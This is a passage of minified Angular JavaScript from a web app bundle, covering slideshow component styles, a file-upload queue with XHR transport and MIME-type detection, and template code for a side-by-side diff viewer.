.slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 100%;\\n position: absolute;\\n top: 0;\\n left: 0;\\n opacity: 0;\\n width: 100%;\\n z-index: -100;\\n -webkit-transition: opacity 0.45s;\\n transition: opacity 0.45s; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, right top, left top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to left, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%] {\\n right: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, left top, right top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to right, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%] {\\n display: block;\\n margin: auto;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n border-left: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 200%;\\n width: 200%;\\n margin-left: -50%;\\n margin-top: -50%;\\n content: \\"\\";\\n -webkit-transform: rotate(45deg);\\n transform: rotate(45deg); }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 20px;\\n margin-right: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.next[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(135deg);\\n transform: rotate(135deg);\\n position: relative;\\n right: 20px;\\n margin-left: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] {\\n display: block;\\n bottom: 15px;\\n z-index: 1;\\n text-align: center;\\n position: absolute;\\n padding: 0;\\n left: 0;\\n right: 0;\\n margin: 0 auto; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] {\\n display: inline;\\n margin: 0;\\n padding: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%] {\\n border: none;\\n background: none;\\n text-indent: -9999px;\\n font-size: 0;\\n width: 20px;\\n height: 20px;\\n outline: none;\\n position: relative;\\n z-index: 1;\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n content: \'\';\\n width: 4px;\\n height: 4px;\\n background: var(--dot-color, #FFF);\\n border-radius: 4px;\\n display: block;\\n position: absolute;\\n top: 50%;\\n left: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n opacity: .7;\\n -webkit-transition: all .5s ease-out;\\n transition: all .5s ease-out; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li.slick-active[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n -webkit-transform: translate(-50%, -50%) scale(1.4);\\n transform: translate(-50%, -50%) scale(1.4);\\n opacity: 1; }\\n\\n @media screen and (min-width: 768px) {\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover:before {\\n opacity: 1; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover .arrow[_ngcontent-%COMP%] {\\n border-width: 4px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:hover {\\n border-width: 4px; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n .loader[_ngcontent-%COMP%] {\\n position: absolute;\\n left: 50%;\\n margin-left: -20px;\\n top: 50%;\\n margin-top: -20px;\\n border: 5px solid #f3f3f3;\\n border-top: 5px solid #555;\\n border-radius: 50%;\\n width: 50px;\\n height: 50px;\\n -webkit-animation: _ngcontent-%COMP%_spin 1s linear infinite;\\n animation: _ngcontent-%COMP%_spin 1s linear infinite; }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }\\n\\n @keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }"],changeDetection:0}),oe})(),Q=(()=>{class oe{}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({imports:[a.ez,s.Cu]}),oe})()},162:(At,ae,d)=>{"use strict";d.d(ae,{C6:()=>C,Ob:()=>H,bA:()=>g});var n=d(4650),a=d(6895);class u{constructor(U){this.rawFile=U;let Q=function s(j){return!(!j||!(j.nodeName||j.prop&&j.attr&&j.find))}(U)?U.value:U;this["_createFrom"+("string"==typeof Q?"FakePath":"Object")](Q)}_createFromFakePath(U){this.lastModifiedDate=void 0,this.size=void 0,this.type="like/"+U.slice(U.lastIndexOf(".")+1).toLowerCase(),this.name=U.slice(U.lastIndexOf("/")+U.lastIndexOf("\\\\")+2)}_createFromObject(U){this.size=U.size,this.type=U.type,this.name=U.name}}class c{constructor(U,G,Q){this.url="/",this.headers=[],this.withCredentials=!0,this.formData=[],this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.index=void 0,this.uploader=U,this.some=G,this.options=Q,this.file=new u(G),this._file=G,U.options&&(this.method=U.options.method||"POST",this.alias=U.options.itemAlias||"file"),this.url=U.options.url}upload(){try{this.uploader.uploadItem(this)}catch{this.uploader._onCompleteItem(this,"",0,{}),this.uploader._onErrorItem(this,"",0,{})}}cancel(){this.uploader.cancelItem(this)}remove(){this.uploader.removeFromQueue(this)}onBeforeUpload(){}onBuildForm(U){return{form:U}}onProgress(U){return{progress:U}}onSuccess(U,G,Q){return{response:U,status:G,headers:Q}}onError(U,G,Q){return{response:U,status:G,headers:Q}}onCancel(U,G,Q){return{response:U,status:G,headers:Q}}onComplete(U,G,Q){return{response:U,status:G,headers:Q}}_onBeforeUpload(){this.isReady=!0,this.isUploading=!0,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.onBeforeUpload()}_onBuildForm(U){this.onBuildForm(U)}_onProgress(U){this.progress=U,this.onProgress(U)}_onSuccess(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!0,this.isCancel=!1,this.isError=!1,this.progress=100,this.index=void 0,this.onSuccess(U,G,Q)}_onError(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!1,this.isCancel=!1,this.isError=!0,this.progress=0,this.index=void 0,this.onError(U,G,Q)}_onCancel(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!0,this.isError=!1,this.progress=0,this.index=void 0,this.onCancel(U,G,Q)}_onComplete(U,G,Q){this.onComplete(U,G,Q),this.uploader.options.removeAfterUpload&&this.remove()}_prepareToUploading(){this.index=this.index||++this.uploader._nextIndex,this.isReady=!0}}let f=(()=>{class j{static getMimeClass(G){let Q="application";return-1!==this.mime_psd.indexOf(G.type)||G.type.match("image.*")?Q="image":G.type.match("video.*")?Q="video":G.type.match("audio.*")?Q="audio":"application/pdf"===G.type?Q="pdf":-1!==this.mime_compress.indexOf(G.type)?Q="compress":-1!==this.mime_doc.indexOf(G.type)?Q="doc":-1!==this.mime_xsl.indexOf(G.type)?Q="xls":-1!==this.mime_ppt.indexOf(G.type)&&(Q="ppt"),"application"===Q&&(Q=this.fileTypeDetection(G.name)),Q}static fileTypeDetection(G){let Q={jpg:"image",jpeg:"image",tif:"image",psd:"image",bmp:"image",png:"image",nef:"image",tiff:"image",cr2:"image",dwg:"image",cdr:"image",ai:"image",indd:"image",pin:"image",cdp:"image",skp:"image",stp:"image","3dm":"image",mp3:"audio",wav:"audio",wma:"audio",mod:"audio",m4a:"audio",compress:"compress",zip:"compress",rar:"compress","7z":"compress",lz:"compress",z01:"compress",bz2:"compress",gz:"compress",pdf:"pdf",xls:"xls",xlsx:"xls",ods:"xls",mp4:"video",avi:"video",wmv:"video",mpg:"video",mts:"video",flv:"video","3gp":"video",vob:"video",m4v:"video",mpeg:"video",m2ts:"video",mov:"video",doc:"doc",docx:"doc",eps:"doc",txt:"doc",odt:"doc",rtf:"doc",ppt:"ppt",pptx:"ppt",pps:"ppt",ppsx:"ppt",odp:"ppt"},oe=G.split(".");if(oe.length<2)return"application";let Ce=oe[oe.length-1].toLowerCase();return void 0===Q[Ce]?"application":Q[Ce]}}return j.mime_doc=["application/msword","application/msword","application/vnd.openxmlformats-officedocument.wordprocessingml.document","application/vnd.openxmlformats-officedocument.wordprocessingml.template","application/vnd.ms-word.document.macroEnabled.12","application/vnd.ms-word.template.macroEnabled.12"],j.mime_xsl=["application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet","application/vnd.openxmlformats-officedocument.spreadsheetml.template","application/vnd.ms-excel.sheet.macroEnabled.12","application/vnd.ms-excel.template.macroEnabled.12","application/vnd.ms-excel.addin.macroEnabled.12","application/vnd.ms-excel.sheet.binary.macroEnabled.12"],j.mime_ppt=["application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.openxmlformats-officedocument.presentationml.presentation","application/vnd.openxmlformats-officedocument.presentationml.template","application/vnd.openxmlformats-officedocument.presentationml.slideshow","application/vnd.ms-powerpoint.addin.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.slideshow.macroEnabled.12"],j.mime_psd=["image/photoshop","image/x-photoshop","image/psd","application/photoshop","application/psd","zz-application/zz-winassoc-psd"],j.mime_compress=["application/x-gtar","application/x-gcompress","application/compress","application/x-tar","application/x-rar-compressed","application/octet-stream","application/x-zip-compressed","application/zip-compressed","application/x-7z-compressed","application/gzip","application/x-bzip2"],j})();class g{constructor(U){this.isUploading=!1,this.queue=[],this.progress=0,this._nextIndex=0,this.options={autoUpload:!1,isHTML5:!0,filters:[],removeAfterUpload:!1,disableMultipart:!1,formatDataFunction:G=>G._file,formatDataFunctionIsAsync:!1},this.setOptions(U),this.response=new n.vpe}setOptions(U){this.options=Object.assign(this.options,U),this.authToken=this.options.authToken,this.authTokenHeader=this.options.authTokenHeader||"Authorization",this.autoUpload=this.options.autoUpload,this.options.filters.unshift({name:"queueLimit",fn:this._queueLimitFilter}),this.options.maxFileSize&&this.options.filters.unshift({name:"fileSize",fn:this._fileSizeFilter}),this.options.allowedFileType&&this.options.filters.unshift({name:"fileType",fn:this._fileTypeFilter}),this.options.allowedMimeType&&this.options.filters.unshift({name:"mimeType",fn:this._mimeTypeFilter});for(let G=0;G<this.queue.length;G++)this.queue[G].url=this.options.url}addToQueue(U,G,Q){let oe=[];for(let se of U)oe.push(se);let Ce=this._getFilters(Q),k=this.queue.length,K=[];oe.map(se=>{G||(G=this.options);let ee=new u(se);if(this._isValidFile(ee,Ce,G)){let q=new c(this,se,G);K.push(q),this.queue.push(q),this._onAfterAddingFile(q)}else this._onWhenAddingFileFailed(ee,Ce[this._failFilterIndex],G)}),this.queue.length!==k&&(this._onAfterAddingAll(K),this.progress=this._getTotalProgress()),this._render(),this.options.autoUpload&&this.uploadAll()}removeFromQueue(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q.isUploading&&Q.cancel(),this.queue.splice(G,1),this.progress=this._getTotalProgress()}clearQueue(){for(;this.queue.length;)this.queue[0].remove();this.progress=0}uploadItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G],oe=this.options.isHTML5?"_xhrTransport":"_iframeTransport";Q._prepareToUploading(),!this.isUploading&&(this.isUploading=!0,this[oe](Q))}cancelItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q&&Q.isUploading&&(this.options.isHTML5?Q._xhr:Q._form).abort()}uploadAll(){let U=this.getNotUploadedItems().filter(G=>!G.isUploading);U.length&&(U.map(G=>G._prepareToUploading()),U[0].upload())}cancelAll(){this.getNotUploadedItems().map(G=>G.cancel())}isFile(U){return function E(j){return File&&j instanceof File}(U)}isFileLikeObject(U){return U instanceof u}getIndexOfItem(U){return"number"==typeof U?U:this.queue.indexOf(U)}getNotUploadedItems(){return this.queue.filter(U=>!U.isUploaded)}getReadyItems(){return this.queue.filter(U=>U.isReady&&!U.isUploading).sort((U,G)=>U.index-G.index)}destroy(){}onAfterAddingAll(U){return{fileItems:U}}onBuildItemForm(U,G){return{fileItem:U,form:G}}onAfterAddingFile(U){return{fileItem:U}}onWhenAddingFileFailed(U,G,Q){return{item:U,filter:G,options:Q}}onBeforeUploadItem(U){return{fileItem:U}}onProgressItem(U,G){return{fileItem:U,progress:G}}onProgressAll(U){return{progress:U}}onSuccessItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onErrorItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCancelItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteAll(){}_mimeTypeFilter(U){return!(this.options.allowedMimeType&&-1===this.options.allowedMimeType.indexOf(U.type))}_fileSizeFilter(U){return!(this.options.maxFileSize&&U.size>this.options.maxFileSize)}_fileTypeFilter(U){return!(this.options.allowedFileType&&-1===this.options.allowedFileType.indexOf(f.getMimeClass(U)))}_onErrorItem(U,G,Q,oe){U._onError(G,Q,oe),this.onErrorItem(U,G,Q,oe)}_onCompleteItem(U,G,Q,oe){U._onComplete(G,Q,oe),this.onCompleteItem(U,G,Q,oe);let Ce=this.getReadyItems()[0];this.isUploading=!1,Ce?Ce.upload():(this.onCompleteAll(),this.progress=this._getTotalProgress(),this._render())}_headersGetter(U){return G=>G?U[G.toLowerCase()]||void 0:U}_xhrTransport(U){let oe,G=this,Q=U._xhr=new XMLHttpRequest;if(this._onBeforeUploadItem(U),"number"!=typeof U._file.size)throw new TypeError("The file specified is no longer valid");if(this.options.disableMultipart)oe=this.options.formatDataFunction(U);else{oe=new FormData,this._onBuildItemForm(U,oe);const Ce=()=>oe.append(U.alias,U._file,U.file.name);this.options.parametersBeforeFiles||Ce(),void 0!==this.options.additionalParameter&&Object.keys(this.options.additionalParameter).forEach(k=>{let K=this.options.additionalParameter[k];"string"==typeof K&&K.indexOf("{{file_name}}")>=0&&(K=K.replace("{{file_name}}",U.file.name)),oe.append(k,K)}),this.options.parametersBeforeFiles&&Ce()}if(Q.upload.onprogress=Ce=>{let k=Math.round(Ce.lengthComputable?100*Ce.loaded/Ce.total:0);this._onProgressItem(U,k)},Q.onload=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this["_on"+(this._isSuccessCode(Q.status)?"Success":"Error")+"Item"](U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onerror=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onErrorItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onabort=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onCancelItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.open(U.method,U.url,!0),Q.withCredentials=U.withCredentials,this.options.headers)for(let Ce of this.options.headers)Q.setRequestHeader(Ce.name,Ce.value);if(U.headers.length)for(let Ce of U.headers)Q.setRequestHeader(Ce.name,Ce.value);this.authToken&&Q.setRequestHeader(this.authTokenHeader,this.authToken),Q.onreadystatechange=function(){Q.readyState==XMLHttpRequest.DONE&&G.response.emit(Q.responseText)},this.options.formatDataFunctionIsAsync?oe.then(Ce=>Q.send(JSON.stringify(Ce))):Q.send(oe),this._render()}_getTotalProgress(U=0){if(this.options.removeAfterUpload)return U;let G=this.getNotUploadedItems().length,oe=100/this.queue.length;return Math.round((G?this.queue.length-G:this.queue.length)*oe+U*oe/100)}_getFilters(U){if(!U)return this.options.filters;if(Array.isArray(U))return U;if("string"==typeof U){let G=U.match(/[^\\s,]+/g);return this.options.filters.filter(Q=>-1!==G.indexOf(Q.name))}return this.options.filters}_render(){}_queueLimitFilter(){return void 0===this.options.queueLimit||this.queue.length<this.options.queueLimit}_isValidFile(U,G,Q){return this._failFilterIndex=-1,!G.length||G.every(oe=>(this._failFilterIndex++,oe.fn.call(this,U,Q)))}_isSuccessCode(U){return U>=200&&U<300||304===U}_transformResponse(U,G){return U}_parseHeaders(U){let Q,oe,Ce,G={};return U&&U.split("\\n").map(k=>{Ce=k.indexOf(":"),Q=k.slice(0,Ce).trim().toLowerCase(),oe=k.slice(Ce+1).trim(),Q&&(G[Q]=G[Q]?G[Q]+", "+oe:oe)}),G}_onWhenAddingFileFailed(U,G,Q){this.onWhenAddingFileFailed(U,G,Q)}_onAfterAddingFile(U){this.onAfterAddingFile(U)}_onAfterAddingAll(U){this.onAfterAddingAll(U)}_onBeforeUploadItem(U){U._onBeforeUpload(),this.onBeforeUploadItem(U)}_onBuildItemForm(U,G){U._onBuildForm(G),this.onBuildItemForm(U,G)}_onProgressItem(U,G){let Q=this._getTotalProgress(G);this.progress=Q,U._onProgress(G),this.onProgressItem(U,G),this.onProgressAll(Q),this._render()}_onSuccessItem(U,G,Q,oe){U._onSuccess(G,Q,oe),this.onSuccessItem(U,G,Q,oe)}_onCancelItem(U,G,Q,oe){U._onCancel(G,Q,oe),this.onCancelItem(U,G,Q,oe)}}let C=(()=>{class j{constructor(G){this.onFileSelected=new n.vpe,this.element=G}getOptions(){return this.uploader.options}getFilters(){return{}}isEmptyAfterSelection(){return!!this.element.nativeElement.attributes.multiple}onChange(){let G=this.element.nativeElement.files,Q=this.getOptions(),oe=this.getFilters();this.uploader.addToQueue(G,Q,oe),this.onFileSelected.emit(G),this.isEmptyAfterSelection()&&(this.element.nativeElement.value="")}}return j.\\u0275fac=function(G){return new(G||j)(n.Y36(n.SBq))},j.\\u0275dir=n.lG2({type:j,selectors:[["","ng2FileSelect",""]],hostBindings:function(G,Q){1&G&&n.NdJ("change",function(){return Q.onChange()})},inputs:{uploader:"uploader"},outputs:{onFileSelected:"onFileSelected"}}),j})(),H=(()=>{class j{}return j.\\u0275fac=function(G){return new(G||j)},j.\\u0275mod=n.oAB({type:j}),j.\\u0275inj=n.cJS({imports:[a.ez]}),j})()},5244:(At,ae,d)=>{"use strict";d.d(ae,{mC:()=>Be,zB:()=>ve});var n=d(655),a=d(4650),s=d(3969),c=d(6498),f=d(7261),E=d(6895),_=d(4006);function S(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"div",9)(1,"div",10)(2,"label",11),a._uU(3),a.TgZ(4,"input",12),a.NdJ("ngModelChange",function(X){a.CHM(w);const _e=a.oxw(2);return a.KtG(_e.hideMatchingLinesChanged(X))}),a.qZA(),a._UZ(5,"span",13),a.qZA()()()}if(2&pe){const w=a.oxw(2);a.Q6J("ngClass",w.toolbarClass)("ngStyle",w.toolbarStyle),a.xp6(3),a.hij(" Only Show Lines with Differences (",w.diffsCount,") "),a.xp6(1),a.Q6J("ngModel",w.hideMatchingLines)}}const g=function(pe,P){return{active:pe,disabled:P}};function C(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"button",17),a.NdJ("click",function(){const _e=a.CHM(w).$implicit,ct=a.oxw(3);return a.KtG(ct.setDiffTableFormat(_e.value))}),a._uU(1),a.qZA()}if(2&pe){const w=P.$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(5,g,R.format===w.value,!!w.disabled))("name",w.name)("id",w.id)("disabled",!!w.disabled),a.xp6(1),a.hij(" ",w.label," ")}}function z(pe,P){if(1&pe&&(a.TgZ(0,"div",14)(1,"div",15),a.YNc(2,C,2,8,"button",16),a.qZA()()),2&pe){const w=a.oxw(2);a.xp6(2),a.Q6J("ngForOf",w.formatOptions)}}const H=function(pe,P){return{"delete-row":pe,"empty-row":P}};function j(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}const U=function(pe){return{highlight:pe}};function G(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Q(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,G,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function oe(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,j,3,7,"td",23),a.YNc(7,Q,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.leftContent?null:w.leftContent.lineNumber)?null==w.leftContent?null:w.leftContent.lineNumber:" "," "),a.xp6(1),a.Q6J("ngClass",a.WLB(9,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function Ce(pe,P){if(1&pe&&(a.TgZ(0,"div",18)(1,"table",19)(2,"tbody"),a.YNc(3,oe,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const k=function(pe,P){return{"insert-row":pe,"empty-row":P}};function K(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.rightContent?null:w.rightContent.lineContent),a.oJD)}}function se(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function ee(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,se,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function q(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,K,3,7,"td",23),a.YNc(7,ee,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.rightContent?null:w.rightContent.lineNumber)?null==w.rightContent?null:w.rightContent.lineNumber:" "," "),a.xp6(1),a.Q6J("ngClass",a.WLB(9,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(2),a.Oqu((null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function we(pe,P){if(1&pe&&(a.TgZ(0,"div",28)(1,"table",19)(2,"tbody"),a.YNc(3,q,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const ce=function(pe,P){return{"delete-row":pe,"insert-row":P}};function je(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}function Ze(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function le(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Ze,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Oe(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Qe(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Oe,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Ye(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",30),a._uU(2),a.qZA(),a.TgZ(3,"td",31),a._uU(4),a.qZA(),a.TgZ(5,"td",22)(6,"span"),a._uU(7),a.qZA()(),a.YNc(8,je,3,7,"td",23),a.YNc(9,le,2,6,"td",23),a.YNc(10,Qe,2,6,"td",23),a.qZA()),2&pe){const 